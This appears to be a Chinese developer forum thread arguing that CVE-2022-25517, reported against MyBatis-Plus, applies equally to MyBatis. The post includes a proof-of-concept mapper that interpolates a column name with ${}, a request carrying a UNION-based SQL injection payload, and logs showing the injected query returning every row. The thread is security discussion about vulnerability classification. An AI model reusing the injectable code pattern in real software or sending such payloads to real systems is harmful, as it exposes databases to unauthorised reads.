最近公司引入了 SYNK 用作软件漏斗扫描工具，它给 mybatis plus 报 CVE-2022-25517 ，如果解决不了我就得把好大段代码用 JPA 或者 mybatis dynamic sql 重构。但我研究了下，我真心觉得这个如果是个有效的 CVE issue ，那 mybatis 也跑不了。

以下是正文。各位看了后觉得呢？

Background

Here is the POC and root cause why CVE-2022-25517 was generated: POC

But without mybatis-plus, only using mybatis, we can reproduce the same issue. Please check this demo: https://github.com/XSun771/demos/tree/mybatis-sql-injection

By this demo, I want to prove that CVE-2022-25517 should not be an CVE issue. At least if it is, then it is also applicable to Mybatis. Instead, it should be a bad code smell.

My POC

code

@Select("SELECT * FROM ARTICLES WHERE ${columnName} = #{columnValue}")
List<Article> select(@Param("columnName") String columnName, @Param("columnValue") String columnValue);

I know you may say , "oh, it is highlighted by Mybatis developers that you should not use ${} but #{} which will check sql injection".

But I must highlight that it is also highlighted in mybatis-plus official documents that everyone needs to do SQL inject check first.

So if you agree that because mybatis developers highlights that you should not use ${} then there is no need to raise CVE issue for mybatis, then why not agree that no need to raise CVE issue to mybatis-plus?

@RequestMapping("/enquiry")
public String enquiry(@RequestBody Enquiry enquiry) {
    return this.articleMapper.select(enquiry.getColumnName(),enquiry.getColumnValue()).toString();
}

attack

I made usage of IDEA http client, the script file is at src/main/resources/generated-requests.http.

POST http://localhost:9000/enquiry
Content-Type: application/json

{
"columnName": "(id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id",
"columnValue": "1"
}

Attachk result:

2024-09-16T11:42:48.220+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==>  Preparing: SELECT * FROM ARTICLES WHERE (id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id = ?
2024-09-16T11:42:48.229+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==> Parameters: 1(String)
2024-09-16T11:42:48.244+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : <==      Total: 3

[Article(id=1, title=foo, author=foo), Article(id=2, title=bar, author=bar), Article(id=3, title=333, author=333)]

BraveXaiver

65 天前

@qq135449773 #9

这篇后记的语气也真傲慢，或者说双标。

引用其原文：

Mybatis 的${}问题（他们好爱拿这个来举例子）。"外部数据传入 Mybatis ${} 可以造成 SQL 注入" - 这是一个已知的问题(漏洞)。一个应用因为外部不可控参数传入${}并导致 SQL 注入，我们不会去找 Mybatis 给他们提报漏洞（因为对于官方来说，这是一个已知的问题(漏洞)，官方给了足够的说明、警告、风险提醒、适用场景以及替代方案），我们会直接找这个应用去提报漏洞

但是对于 MybatisPlus 来说，几乎没有人知道在使用这个框架的时候要怎么避免 SQL 注入（要不是看了源码，我也不会知道他们什么都不处理就直接做字段拼接），两者根本没有可比性

然而，至少今天，不需要查看 MP 的源码，MP 的官方文档： https://baomidou.com/reference/about-cve/

已经强调：

该“漏洞”也是前端端传入 SQL 片段导致 SQL 注入攻击。框架 QueryWrapper UpdateWrapper 字段部分是允许子查询的因此不能人为允许前端传入 SQL 片段。

如果使用者有这种需求，可以使用 SqlInjectionUtils.check(内容) 或 xxWrapper.checkSqlInjection() 方法来检查，如果检查通过，则不会抛出异常。

框架也提供了非常严格的条件构造器 LambdaQueryWrapper LambdaUpdateWrapper 推荐使用。

如果 CVE-2022-25517 对于 mybatis plus 是合适的，那么 mybatis 本身也应该 own 一个类似的 CVE issue

Background

My POC

code

attack